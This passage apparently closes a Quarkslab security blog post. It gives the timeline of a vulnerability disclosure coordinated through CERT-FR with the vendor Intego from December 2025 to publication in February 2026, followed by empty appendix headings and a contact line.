  • 2025-12-17: CERT-FR acknowledged the report and asked which contacts did Quarkslab try. Suggested to postpone the publication until mid-February to give them time to attempt coordination with the vendor and to avoid publishing at the end of the year.
  • 2025-12-18: Quarkslab agreed to postpone publication to February 10th, 2026 and provided the emails of attempted contact
  • 2025-12-24: CERT-FR asked which exact versions were tested and asked if they could send the report to the vendor.
  • 2025-12-24: CERT-FR contacted the vendor via its support point of contact.
  • 2026-01-15: CERT-FR contacted the vendor and reminded them that publication was planned for February 10th. Asked for plans to release fixes.
  • 2026-01-17: Intego customer support replied the report had already been forwarded to the appropriate department for review, and that they would provide an update via email as soon as more information becomes available.
  • 2026-01-24: CERT-FR informed Quarkslab of the ongoing disclosure coordination and said that they indicated them that in the absence of detailed feedback regarding the handling of the report, publication would proceed as agreed in February.
  • 2026-02-05: Quarkslab sent mail to CERT-FR saying the publication will proceed as agreed.
  • 2026-02-26: This blog post is published.

References

Appendices

Exposed methods

Content of .plist files associated with services


If you would like to learn more about our security audits and explore how we can help you, get in touch with us!